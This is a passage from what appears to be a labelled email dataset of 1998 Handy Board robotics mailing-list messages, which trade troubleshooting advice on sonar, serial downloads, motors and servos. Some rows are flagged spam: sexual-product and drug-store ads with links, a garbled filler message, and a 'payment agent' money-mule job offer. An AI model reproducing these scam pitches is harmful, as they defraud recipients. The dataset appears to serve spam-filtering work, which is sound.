to decrease slowly while adjacent points tend to increase slowly, then this indicates that the robot may be moving in an other than straight line, or there is some other systematic error that needs correction. By moving toward obstacles and checking them out up close, say with infrared contact sensors, the weighting of the obstacles can be increased significantly. And systematically roving from obstacle to obstacle will eventually map the entire area. The map ends up be a set of vectors that move as the robot moves (a moving map display). The more it moves, the more exact the map becomes. This is still a paper program, but this is the direction I am going. Mr H.L. Chin wrote: > > Hi, > Could anyone tell me how a robot can do mapping in a room. > > Thank you -- James and Roya jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 Tom Brusehaver ,jdunn@unm.edu,"Tue, 15 Dec 1998 09:31:32 -0600",Re: Mapping,">Identify the characteristics of your sensor > The sonar we are using has a detection cone of about 40 degrees, this >depends upon the texture, material, shape, and size of the obstacle. A >flat metal surface directed straight back at the sensor broadens the cone >to about 60 degrees up close (1.5' to 5' for the Polaroid sensor). And >narrows the cone to about 2 degrees at very far distances (about 22' for >the Polaroid) because nothing else is detected at those distances. The >surface used was 12ga steel 1'x1' smooth plate. Other obstacles were kept >out of it's line of vision. ~2msec / foot of distance according to the >oscope used. A person on the other hand could only be detected out to >about 7'. Watch the critical angle for the sonar too. If the sonar doesn't hit almost straight on, some of the energy will be reflected off at an angle, and may provide false longer distances. Smooth surfaces will have a lower critical angle then coarse surfaces. | ]< <------------>| wall sonar | straight on good measurement ]< <- \\ \\ \\ | \\ | \\ | \\ | \\ | \\ | \\| /| / | / | v | ---------------+ Angle reflection longer measurement. Good mapping will take a combination of sensors, and actual wandering of the room to detect all obstacles and make an accurate map. Decide your grid size, and program the robot to get to each size area, and mark the grid as open or filled.",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Tue, 15 Dec 1998 08:00:01 -0000",Beginner's Help,"Has anyone had this problem: I am running win 98 on P200 MMX, and com1 is used by a serial mouse. I just bought the board, serial expansion board, and cables from Gleason Research. Comm2 is usually used by my internal modem, but I removed it and changed the bios settings to use the external port. First, I can't get Hbdl.exe to work under windows, I keep getting the error ""Wrong Port or Board Mode"". The board is connected to Port 2, and is set to download mode, i.e. no lights on the board, power on. The funny part is, the handy board pwr light comes on but doesn't blink or anything. Then I get the error list above. Next I tried running dl using the windows .if files, (dl code_hob.s19), where dl is configured to run on com2. Again the board is set up in bootstrap download mode, i.e. no lights, power on. I run dl as above, and I get this Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Timeout on serial receive 256 chars left to receive Perhaps the board was not connected properly or not in download mode When a press return to start downloading, the pwr light comes on but does not blink. The ser light on the serial expansion board flickers leading me to believe that data is being sent. Next I decided to boot to DOS and pull the mouse and just use COM1 as my download link, but I get the same results. Does the Handy board send data back to the computer through the com port to signify that it is ready to receive? Is there some setting somewhere I don't know about? How do I test the Handy board to see if it is transmitting? How do I test the expansion serial board? Any help would really save me a headache., Thanks! Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo ",0,0 Vincent John Winstead ,bhavsar@hws.edu,"Tue, 15 Dec 1998 12:43:25 -0600",Re: some kind of dividing circuit?!?!?!?!,"In reference to your question about the motor with encoders. I know this isn't a software solution, but what if you used an external hardware (chip) counter that reset after 2^(number of bits) clicks. Then send resets as your steps to the controller. -Vince ",0,0 Darkman ,"Bill Denzel , ""Handyboard@Media. Mit. Edu"" ","Tue, 15 Dec 1998 14:12:59 -0500",Re: Beginner's Help,"Make sure that your com port 2 is actually wired to the motherboard I've heard a lot of stories with com ports not working because they forgot to connect the ribbon cable. Check that first. Try booting ito dos and use the DL.exe instead of the HBDL I have a system similar to yours P200MMX and I could never get the HBDL to work same error msg. If I vere you I would invest in the registered ver of IC for $35 can't go wrong. I hope that helps -----Original Message----- From: Bill Denzel To: Handyboard@Media. Mit. Edu Date: Tuesday, December 15, 1998 12:55 PM Subject: Beginner's Help Has anyone had this problem: I am running win 98 on P200 MMX, and com1 is used by a serial mouse. I just bought the board, serial expansion board, and cables from Gleason Research. Comm2 is usually used by my internal modem, but I removed it and changed the bios settings to use the external port. First, I can't get Hbdl.exe to work under windows, I keep getting the error ""Wrong Port or Board Mode"". The board is connected to Port 2, and is set to download mode, i.e. no lights on the board, power on. The funny part is, the handy board pwr light comes on but doesn't blink or anything. Then I get the error list above. Next I tried running dl using the windows .if files, (dl code_hob.s19), where dl is configured to run on com2. Again the board is set up in bootstrap download mode, i.e. no lights, power on. I run dl as above, and I get this Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Timeout on serial receive 256 chars left to receive Perhaps the board was not connected properly or not in download mode When a press return to start downloading, the pwr light comes on but does not blink. The ser light on the serial expansion board flickers leading me to believe that data is being sent. Next I decided to boot to DOS and pull the mouse and just use COM1 as my download link, but I get the same results. Does the Handy board send data back to the computer through the com port to signify that it is ready to receive? Is there some setting somewhere I don't know about? How do I test the Handy board to see if it is transmitting? How do I test the expansion serial board? Any help would really save me a headache., Thanks! Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo",0,0 john calhoun ,handyboard@media.mit.edu,"Tue, 15 Dec 1998 11:27:19 -0800",HB Reset not executing main().,"I built two more Handyboards and I've noticed something odd. When I download a program with a main() function, and reset the board, main() does not get executed. I thought it was supposed to. I'm using IC v3.1 (for the Mac) and Handyboard version 1.2. IC says pcode version 3.10 is on the board. Am I missing something here or could I have a hardware problem? john calhoun- ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Tue, 15 Dec 1998 19:25:42 -0200",68hc11a1 x 68hc11a8 and IC hardware,"Hi people! I'd like to know two things: 1) Can I use the 68hc11a8 instead of the 68hc11a1 in the Handyboard, without recompiling Interactive C? 2) What's the minimum hardware to run Interactive C? I just want to blink a led to see if the hb is alive, the rest is communication. Has someone ever thought of making a 7-segment cheap display modification in Interactive C? If I could run IC only with the mcu and ram chip that would be fantastic. By the way, can I use other ram circuits with Interactive C? Thank you a lot for the attention. See you, Cesar Mello - still dreaming with the hb (couldn't get one) ",0,0 Phil ,Bill Denzel ,"Tue, 15 Dec 1998 18:52:49 -0600",Re: Beginner's Help," On Tue, 15 Dec 1998, Bill Denzel wrote: > Has anyone had this problem: > > I am running win 98 on P200 MMX, and com1 is used by a serial mouse. I > just bought the board, serial expansion board, and cables from Gleason > Research. Comm2 is usually used by my internal modem, but I removed it and > changed the bios settings to use the external port. First, I can't get > Hbdl.exe to work under windows, I keep getting the error ""Wrong Port or > Board Mode"". The board is connected to Port 2, and is set to download mode, > i.e. no lights on the board, power on. The funny part is, the handy board > pwr light comes on but doesn't blink or anything. Then I get the error list > above. > > Next I tried running dl using the windows .if files, (dl code_hob.s19), > where dl is configured to run on com2. Again the board is set up in > bootstrap download mode, i.e. no lights, power on. I run dl as above, and > I get this > > Downloading 256 byte bootstrap (229 data) > ................................................................ > ................................................................ > ................................................................ > .....................................___________________________ > > Timeout on serial receive 256 chars left to receive > Perhaps the board was not connected properly or not in download mode > > When a press return to start downloading, the pwr light comes on but > does not blink. The ser light on the serial expansion board flickers > leading me to believe that data is being sent. > > Next I decided to boot to DOS and pull the mouse and just use COM1 as my > download link, but I get the same results. > > Does the Handy board send data back to the computer through the com port to > signify that it is ready to receive? Is there some setting somewhere I > don't know about? How do I test the Handy > board to see if it is transmitting? How do I test the expansion serial > board? > > Any help would really save me a headache., Thanks! > > > Bill Denzel > > Senior Mechatronics Student > California Polytechnic State University > San Luis Obispo > > I've never hot HBDL to work, and I've tried it on a 386 (laptop), 486 and Pentium. Don't know why: just won't work under win3.11 win95 or win98. The DOS one I've used with quite a bit of success. Make sure you are restarting the computer (ie, turning it physically of and physically back on) in MS-DOS. If you go to start-->shut down-->restart in MS-DOS mode you'll still have resident Windows drivers (don't believe me? Try typing in 'win'. It will boot up faster than when you load it under a cold boot. Also, don't load config.sys and autoexec.bat (IE, go straight to DOS prompt) You'll need to type path=c:\\;c:\\ic\\libs etc. but you should no longer have conflicts. Also, check to see the COM1 setting in the BIOS. Best bet is to have it on ? 278H ? --phil ""I wish we were all running Linux on our home computers"" hahn. ",0,0 cwegman ,handyboard@media.mit.edu,,"Would you like to have a killer meat stick? If you do, Penis Enlarge Patch should be for you.",Penis EnIarge P@tch c@n enlarge your d1ck so muchit would be hard for women to have sex with you. http://www.taplen.com/pt/?51&cvXrEe,1,1 jdunn@unm.edu,tgb@wamnet.com,"Tue, 15 Dec 1998 20:43:24 -0700",Re: Mapping,"Thanks for the tip on reflection error. I'll have to build in a function to weight the position accordingly. I'm trying to stay away from occupency grids and use the native vectors to conserve memory while maintaining accuracy. I may have to resort to a if I can't find addiquate memory compression routines. -- James Dunn jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 phillip chia ,handybd ,"Tue, 15 Dec 1998 11:43:54 +0800",Fw: Please help! HD jammed !!!," > Hi FThompson, Fred and other, > I encountered some problem in the downloading. I was successfully able to > download the p_code into the HD. However, When the instruction proned me to > reset the board, > it always appears on the LCD without any lettering like ""version 3.1.... > ""on it . It is just blank with 'dark square' printing on the LCD. Besides, > the computer showed synchronised with board, trying ...... > After several try, occassionally the lettering of the version 3.1 appear on > LCD after reset the board. However, the computer showed synchfronised with > board...., trying ..... > The situation is that it cannot initiatize the interrupt for standard lib > to down load into the HB. Please help. Is it batteries problem ? We are > using NIcad 9.6 v currently. > > rgds, > phillip ",0,0 Wayne Rademacher ,handyboard@media.mit.edu,"Tue, 15 Dec 1998 21:54:09 -0600",A Poloroid Sonar question.,"I've got a poloroid sonar question. I got a hold of a Poloroid OneStep Sonar camera at the second hand store, but it does not seem to match any of the pinouts I've seen on the Web... This board has 16pins, I believe this board is manufactured by TI. I've checked their web site for info, but no luck so far. Has anyone had experience with this board? can you provide a schematic/pinout? Wayne Rademacher ",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Tue, 15 Dec 1998 23:30:52 -0000",,"Richard, Thanks for the help. I finally got the board to accept the pcode. I acquired a PS/2 mouse to free up my COM1 port. I used the HBDL.exe program that came with the board. After several unsuccessfully attempts to program the board, for some reason it finally worked. I found that it really helped to let the serial interface board cool off before trying to use it. It is also still very inconsistent. Sometimes I can get IC to recognize the board, most of the time not. Windows or DOS doesn't matter, (I tried creating a basic boot disk as recommended by one of the other responses, but that does not seem to help.) So here's my question. Does your serial interface board run hot, i.e. noticeably hot to the touch. On my serial interface board (version 1.1 as printed on the board) the white ceramic block gets very hot along with the power chip? in the middle. If I had a bad power chip, would it cause these symptoms, especially inconsistent performance!!! BTW, how much was the power chips from Newark? Thanks for the help!!! Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo -----Original Message----- From: Richard A. Cini, Jr. [mailto:rcini@msn.com] Sent: Wednesday, December 16, 1998 12:17 AM To: Bill Denzel Subject: Re: Beginner's Help Bill: I had a defective DS1233 power monitor chip which kept resetting the board about the same time as your's aborts. Watch the LEDs on the HB and see if both go on and you hear a beep when the D/L aborts. If that's the case, replace the DS1233 (I think that I may have spares, having ordered 5 from Newark Electronics). [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of ""classic"" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================>",0,1 Kaleb Fugitt ,handyboard@media.mit.edu,"Tue, 15 Dec 1998 23:27:27 -0700",Re: your AMBtnEN,"Hi P X L C V V A r a e I I A m o n v A A L b z a i L G I i a x t I R U e c ra S A M n http://www.neateater.com not do everything, he could do a great deal for friends in a tight comer. Are we all here? said he, handing his sword back to Thorin with a bow. Let me see: one-thats Thorin; two, three, four, five, six, seven, eight, nine, ten, eleven; where are Fili and Kili? Here they are, twelve, thirteen-and heres Mr. Baggins: fourteen! Well, well! it might be worse, and then again it might be a good deal better. No ponies, and ",1,1 brett anthony ,'Bill Denzel' ,"Wed, 16 Dec 1998 08:18:09 -0800",RE: Hot serial interface board,"<> So here's my question. Does your serial interface board run hot, i.e. noticeably hot to the touch. On my serial interface board (version 1.1 as printed on the board) the white ceramic block gets very hot along with the power chip? in the middle. If I had a bad power chip, would it cause these symptoms, especially inconsistent performance!!! BTW, how much was the power chips from Newark? Thanks for the help!!! Bill Denzel Your MAX232 chip may be bad, but you should also check or proactively replace the four 10uF caps (C10, 11, 12, 13) which the '232 uses to generate the 10V needed for serial comm. If one of these is flakey it could interfere with serial comm and possibly fry the '232. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949",0,0 Alfredo Vincent ,Bait ,"Wed, 16 Dec 1998 17:56:04 -0100",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! Best pri$es, secure payment processing, direct shipping from our warehouse and sympathetic customer support! http://ecwosm.widthmound.com/?23055008",1,1 phillip chia ,handybd ,"Wed, 16 Dec 1998 10:13:07 +0800",HD LCD problems,"Hi FThompson, Fred and other, I encountered some problem in the downloading. I was successfully able to download the p_code into the HD. However, When the instruction proned me to reset the board,it always appears on the LCD without any lettering like ""version 3.1....""on it . It is just blank with '16 dark squares' printing on the LCD. Besides, the computer showed synchronised with board, retrying ......After several try, occassionally the lettering of the version 3.1 appear on LCD after reset the board. However, the computer showed synchronised with board...., retrying ..... The situation is that it cannot initiatize the interrupt for standard lib to down load into the HB. Please help. Is it batteries problem ?is it any chips damaged? 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I too was seeing occassional failures to come up and often saw instead the 16 black elements across the LCD display. I also saw that when I removed the LCD while the board was running and re-inserted it, I often also go the 16 black elements. I don't know if this helps shed any light. I have now 3 Handy Boards and one was not working correctly. I was able to narrow it down to U5 or U6 and with a simple chip swap with one of the good HB's found it to be the 74HC138. BTW, everytime I pulled the chip, all the p_code had to be re-downloaded again - pulling the chip seems to do a complete brain drain. If you have an extra 74HC138 lying around, it's certainly worth a try. ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Thu, 17 Dec 1998 23:58:02 -0200",Downloader and a/d,"Hi friends! First thank you a lot for the advices on the FingerBoard. It really gets near to what I need, but that ram chip is another headake. So I believe more in a ""light"" version of the Handyboard right now, later I'll make a specific version and make it available for you. And now my Handyboard parts are already bought, in some days they are being shipped! And with HandyBoard I can count with this wonderful mailing list! Sorry for being too beginner, but I'd like to know if I can load my own Assembly programs (no Interactive C) with the same downloaders used with the HandyBoard. And I'd like to know if there is a free C compiler for the 68HC11. Another doubt is with the 68HC11 a/d range: I simply couldn't find it. Is it possible to use 0/60 mV, 0/100mV or even 0/1V without external amplifiers? Thank you a lot for the attention! See you, Cesar ",0,0 Clem Taylor ,handyboard@media.mit.edu,"Fri, 18 Dec 1998 00:39:43 -0500",Replacing L293D with L298H,"Hi Fred and others, I very desperate to debug the problem that took place in my HD. When I download the P_code, it is successfully downloaded. However, when the next instruction ask to reset the board, no words of sentence appear on the LCD. Only 16 dark squares appear on the LCD. I have tried many times, it is still in vain . Moreover, I have even tried to changed almost all the IC chips and it is still no result. Except the 68HC11 and 74hc373 (U3) I did not change. I have test out each signal is going fine. Besides, I have changed the DS1233 ,it is still in vain . I got this problem since last week. I have been working well with the HD very well all the while. Suddenly, when the next morning I switch on the board, such thing happen. Please help me asap. I really very desperate and do not know what to do . I have to submit the project 3 weeks times. rgds, chia ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Fri, 18 Dec 1998 08:51:00 -0500",Re: Downloader and a/d,"Cesar, >>Another doubt is with the 68HC11 a/d range: I simply couldn't find it. Is it >>possible to use 0/60 mV, 0/100mV or even 0/1V without external amplifiers? According to my book, you can set the reference voltages to anything from Vss to Vss + 6.0 V (notice that this is higher than Vdd). The A/D result is a ratioatic comparison for the sample voltage to the references. Page 48 of the technical manual shows that Vrh (analog Voltage Reference High pin 52) is connected to +5 and that Vrl (analog Voltage Reference Low pin 51) is connected to ground. To change the voltage reference range: First get a good pin placement map and be sure you know which side is up. It is wasy to get top view and bottom view confused and wind up tearing up the wrong pins. Second scratch the trace(s) leading to pin 52 (Vrh). (If there are two traces, they will need to be reconnected with wire so that you are only isolating the pin.) Third solder a wire to pin 52 and connect it to your 100 mV reference. (Use your favorite noise reduction technique {coax, twisted pair,...}.) That should be all you need. My book does not mention a minimum voltage (except that the references should stay between Vss and Vss+6). It says that the A/D conversion is done with a ""charge redistribution"" system which should be independent of the actual voltages used. But the truth to that depends on the quality of the capacitors and voltage comparator used. Good luck! Hope this helps Pherd ",0,0 Michael Toh ,handyboard@media.mit.edu,"Sat, 19 Dec 1998 05:01:50 +0800",dc motor output control,"hi everyone, i need some help on controling the output voltage of the dc motor ports. the output voltage is 9.6V and i like to know if there is any way to clamp down the voltage to 5V or lesser. i try using a enternal resistor but the output signal is very unstable. sometimes when i am controling only motor port 0, the other motor port's LED will light up too. please help Thanks Michael ",0,0 brett anthony ,'phillip chia' ,"Fri, 18 Dec 1998 14:46:47 -0800",RE: urgent request help !!!!," -----Original Message----- From: phillip chia [mailto:philchia@singnet.com.sg] Sent: Friday, December 18, 1998 7:04 AM To: handybd Cc: Mr Peter Lim Subject: urgent request help !!!! Hi Fred and others, I very desperate to debug the problem that took place in my HD. When I download the P_code, it is successfully downloaded. However, when the next instruction ask to reset the board, no words of sentence appear on the LCD. Only 16 dark squares appear on the LCD. I have tried many times, it is still in vain . Moreover, I have even tried to changed almost all the IC chips and it is still no result. Except the 68HC11 and 74hc373 (U3) I did not change. I have test out each signal is going fine. Besides, I have changed the DS1233 ,it is still in vain . I got this problem since last week. I have been working well with the HD very well all the while. Suddenly, when the next morning I switch on the board, such thing happen. Please help me asap. I really very desperate and do not know what to do . I have to submit the project 3 weeks times. rgds, chia Hi Philip; I am no expert, but after reading your posts I see possibly two problems. 1. If the download does not go reliably, you may have problems with the MAX232 chip on the interface/charger board, or with the 4 10uF capacitors which connnect to it. Additionally, you might want to check the cable and connections to the computer, and also check the RJ11 cable and connections from the interface/charger to the HB, they may have been damaged. 2. If the download goes OK but the HB LCD shows black squares on reset, I would suspect the memory power supply first, either U14 is not supplying 5V at pin 1 with power off, and/or C4 or C5 may be shorted. Look for solder bridges and broken traces too. Good luck! Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Phil ,brett anthony ,"Fri, 18 Dec 1998 20:18:20 -0600",RE: urgent request help !!!!,"What about the display board itself? Could it be that one of the SMT parts on the board is dead? Or a trace on the LCD is shorted? --phil ",0,0 chinanationaldiamondltd ,,"Sat, 19 Dec 1998 05:50:59 +0300",JOB OFFER," Good day to you, How are today? Let me crave your indulgence to introduce myself to you.I am Mr Feng Chun Chen president/founder of CHINA NATIONAL PEARLS DIAMOND GEM & JEWELRY(CNPDG&J) LIMITED. We deal in mining and supply of jewel products and export into Canada,America/Europeon our head office is located in China as stated below. I am interested in employing your services,to work with me as our payment agent who can help us establish a medium of recieving payment on our behalf for goods supplied to our customers in Europe,America and Canada. If you are interested in transacting business with us.I will be very glad and subject to your satisfaction you will be given the opportunity to negotiate your mode of pa yment which we will pay for your services as my representative in your country. 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I just wanted to voice a warning of sorts. I ordered the 2 X 16 LCD from them and the pinout is slightly different. Instead of a single line of 14 pins: x x x x x x x x x x x x x x They come with a dual inline 2x7 pin configuration: x x x x x x x x x x x x x x I believe they're compatible otherwise. But you will have to make a rather nasty cable to connect the LCD to the Handyboard. Perhaps someone could make a board with tracings and pin headers (male) that would connect the two - a sort of sandwich of sorts. The 2x7 pin out seems to be fairly common these days. Perhaps even the new ""expansion board"" that Fred and company are working on could contain an alternate pinout for 2x7 LCDs. john calhoun- >>",0,0 Michael Toh ,handyboard@media.mit.edu,"Sun, 20 Dec 1998 02:56:53 +0800",dc motor output control?????????????????,"hi everyone, i need some help on controling the output voltage of the dc motor ports. the output voltage is 9.6V and i like to know if there is any way to clamp down the voltage to 5V or lesser. i try using a enternal resistor but the output signal is very unstable. sometimes when i am controlling only motor port 0, the other motor port's LED will light up too. i have try using the PWM signal, but the output voltage is still 9.6V. what has change is only the 'on' time of the output. please help!!! Thanks Michael ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sat, 19 Dec 1998 23:20:16 -0200",Re: a/d range,"Hi friends! Thank you for the replies about this topic. Now I could get a Reference Manual too... The a/d range is determined by the references given to the VrefH and VrefL pins. But be careful about this: ""There should be at least 2.5V between VREFL and VREFH for full A/D accuracy. Lower values will result in more inaccuracy, but the converter will continue to operate. The A/D system is tested at 4.5 and 5.5V across the reference supply pins."" See you, Cesar ",0,0 Slila Domane ,handyboard@media.mit.edu,"Sun, 20 Dec 1998 10:34:02 -0800",Help Needed,"Hi I have an IC program (c text format), and I want to download this program to the eeprom of the handyboard and run it without having connection with the host PC (remove the phone cable) and use the start button to run. How I can convert my c file to an s19 file so I can download it into the eeprom??? Thanx Baraki ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Wayne Rademacher ,handyboard@media.mit.edu,"Sun, 20 Dec 1998 17:17:03 -0600",I need a poloroid sonar board pinout.,"I got a hold of a Poloroid OneStep Sonar camera at the second hand store, but it does not seem to match any of the pinouts I've seen on the Web... I've aready seen the pinout at WIRZ, but it is not the same. this board has 16 pins all at the edge of the board. Mark Robillard shows this very board in his ""Microprocessor Controlled Robotics"" book, but he does not show the pinout. Has anyone had experience with this board? can you provide a schematic/pinout? Also.. Does anyone know how to get a hold of Mark Robillard? Wayne ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Sun, 20 Dec 1998 19:49:41 -0200",Re: Help Needed,"Ever tried making a main() function? I don't have a handyboard yet, but I think it runs without the connection... See you, Cesar ",0,0 Cesar Mello ,"handyboard@media.mit.edu, James Jones ","Sun, 20 Dec 1998 02:02:52 -0200",Re: stepper motors from 5 1/4 drives,"Hi! >Okay, another newbie question: What do I need to take out of the 5 1/4 >drive, other than the motor to get this to work? Also, what about drivers >for the same? Anyplace I can get more info on this? I have a bunch of old >drives laying around. okay, another newbie reply :-) After I received this message I opened several 5 1/4 drives that were going to trash at my job and took all the stepper motors and integrated circuits. Here's what I figured out: 1 - All the stepper motors I found have 5 wires, one of them is black. You connect this black wire to a common source (could be gnd). The others go to your driver. In the simplest case this can be 4 buffers. You have to put 12 vdc on ONE of these wires at a time, sequentially. The sequence order determines the direction. 2 - If you want your motor to rotate only in one way, you can use one of your hb outputs as a clock for a counter as 4017. Each pulse makes your motor rotate 1.8 degrees, so you need 200 pulses for a revolution. 3 - If you want it to rotate in the two ways, you can use 2 outputs from your hb and wire them to a diode matrix,so that you place a 2-bit binary word and get 4 decimal distinct outputs. Then you increment the value of this word to rotate in a way, and decrement it to rotate in the other way. 4 - The driver I found on some floppy drives was uln2003an. But keep all the socketed integrated circuits. Anyway you can always use 4 transistors :-) and I'd suggest that. If you want some circuits I have some, so please ask me. I generally use very common parts like diodes because I don't live in your electronics paradise (USA). Another way you can have some fun is connecting those diode matrixes to your pc paralell port. You can easily connect 4 stepper motors and exercise your algorithms. Hope this could help! See you, Cesar ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, baraki_hh@hotmail.com","Mon, 21 Dec 1998 10:47:03 -0500",Help Needed -Reply,"You don't need to put that code into eeprom. Just put the code inside a main() function block like this: void main(void) { YOUR CODE } Be sure and include the start button logic at the start of your code. The handyboard with start and automaticly execute the main function. The battery will keep the code in RAM when the board is switched ""off"". >>> ""baraki_hh@hotmail.com"" 12/21/98 08:45am >>> Hi I have an IC program (c text format), and I want to download this program to the eeprom of the handyboard and run it without having connection with the host PC (remove the phone cable) and use the start button to run. How I can convert my c file to an s19 file so I can download it into the eeprom??? Thanx Baraki ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Jaron Paludanus ,Fred G Martin ,"Mon, 21 Dec 1998 18:09:21 +0100",FW: change of address," -----Original Message----- From: Jaron Paludanus [mailto:j.paludanus@cable.a2000.nl] Sent: donderdag 17 december 1998 23:58 To: Fred G Martin Subject: change of address I'm not sure my previous mail came through but I have gone high-speed by cable (150 Mbit) and had a change of address. Can you please be so kind to change my Handyboard mailing list subscriber address from jaron@cybercomm.nl to j.paludanus@cable.a2000.nl. I still appreciate your list very much although I haven't had time to do something with my HB for a while now. ",0,0 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Mon, 21 Dec 1998 14:42:22 -0600",expansion board - servo control,"Hi, I stopped working with the handyboard for a while but just started back up again. I put the expansion board onto my handyboard and began testing it. After testing the general tests done before with just the handyboard I started testing the servo ports. I am having some trouble with controlling the ports though. When I enter init_expbd_servos(int action); from the computer via IC, the motor turns completely clockwise. It does not matter what my integer is as long as it is not zero. I am not sure what the action variable should be in any case. I also am unable to change the direction of the servo no matter what action value is given or what value I give servo0, the port that the motor is plugged into. Can anyone give me any suggestions as to how to control the servo? Thanks, Scott Sherman shsc9801@condor.stcloudstate.edu ACS SCSU ",0,0 brett anthony ,shsc9801@condor.stcloudstate.edu,"Mon, 21 Dec 1998 13:57:31 -0800",RE: expansion board - servo control," -----Original Message----- From: shsc9801@condor.stcloudstate.edu [mailto:shsc9801@condor.stcloudstate.edu] Sent: Monday, December 21, 1998 1:39 PM To: handyboard@media.mit.edu Subject: expansion board - servo control Hi, I stopped working with the handyboard for a while but just started back up again. I put the expansion board onto my handyboard and began testing it. After testing the general tests done before with just the handyboard I started testing the servo ports. I am having some trouble with controlling the ports though. When I enter init_expbd_servos(int action); from the computer via IC, the motor turns completely clockwise. It does not matter what my integer is as long as it is not zero. I am not sure what the action variable should be in any case. I also am unable to change the direction of the servo no matter what action value is given or what value I give servo0, the port that the motor is plugged into. Can anyone give me any suggestions as to how to control the servo? Thanks, Scott Sherman shsc9801@condor.stcloudstate.edu ACS SCSU AhHa! The expansion board lives! I hope that now we all have winter break we'll start to hear from the other beta testers again. I know I've been slacking due to other commitments and an unrelated comm problem with my HB, but I'm anxious to get with it again as soon as I finish my ^#&@( shopping. Anyhoo, though I left it home (I'm at work, and didn't want the temptation) I'll try to help from my somewhat rusty memory of my servo experiments: 1. The servo control function does not load by default, make sure you load it. 2. Not all servo pinouts match the Futaba standard used on the board; I had to swap leads on my Airtronics servos. Hope this helps! Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 """John S. Schneekloth"" ","Handyboard , ridgetec@net-info.com","Mon, 21 Dec 1998 22:25:03 -0500",Re: I need a poloroid sonar board pinout.,"Wayne Try this link. http://incolor.inetnebr.com/bill_r/polaroid%20sonar%20mod.htm. It shows modifications for interfacing the one step board to a microcontroller. I also have an old one step ($1 at a garage sale) but I have not tried the modifications shown for use with the handyboard. I have taken the camera apart and it seems to match the photos and diagrams shown at this site but that was as far as I got. I would be interested to hear how you or anyone else may get it to work with the handyboard. Good luck. John Wayne Rademacher wrote: > I got a hold of a Poloroid OneStep Sonar camera at the second hand > store, but it does not seem to match any of the pinouts I've seen on > the Web... I've aready seen the pinout at WIRZ, but it is not the > same. this board has 16 pins all at the edge of the board. Mark > Robillard shows this very board in his ""Microprocessor Controlled > Robotics"" book, but he does not show the pinout. Has anyone had > experience with this board? can you provide a > schematic/pinout? Also.. Does anyone know how to get a hold of Mark > Robillard? Wayne ",0,1 jdunn@unm.edu,"Michael Toh , Handy Board ","Fri, 18 Dec 1998 21:01:57 -0700",Re: dc motor output control,"Maybe you can put a series of diodes in series and in parallel but the other direction to reduce the voltage. H-bridge +- +- +- +- motor H-bridge -+ -+ -+ -+ Good luck, James Michael Toh wrote: > > hi everyone, > > i need some help on controling the output voltage of the dc motor ports. the > output voltage is 9.6V and i like to know if there is any way to clamp down > the voltage to 5V or lesser. i try using a enternal resistor but the output > signal is very unstable. sometimes when i am controling only motor port 0, > the other motor port's LED will light up too. please help > > Thanks > > Michael -- James and Roya jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 Phil ,jdunn@unm.edu,"Mon, 21 Dec 1998 22:31:02 -0600",Re: dc motor output control,"On my first robot, I just took a resistor in-line and used that. It got very hot, though, and didn't work evenly (some of them must have started to burn out before the others did....) ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 22 Dec 1998 08:28:35 -0500",Re: dc motor output control,"How about lifting pint 8 of the L293 chip and running a wire from it to a 7805 regulator (not the one used for logic). You could also run the wire to a separate battery pack. 4 NiCds in series gets you real close to 5V with no regulator. In motor circuits, it is important to reduce loss. See page 49 of the technical Reference for a schematic of the 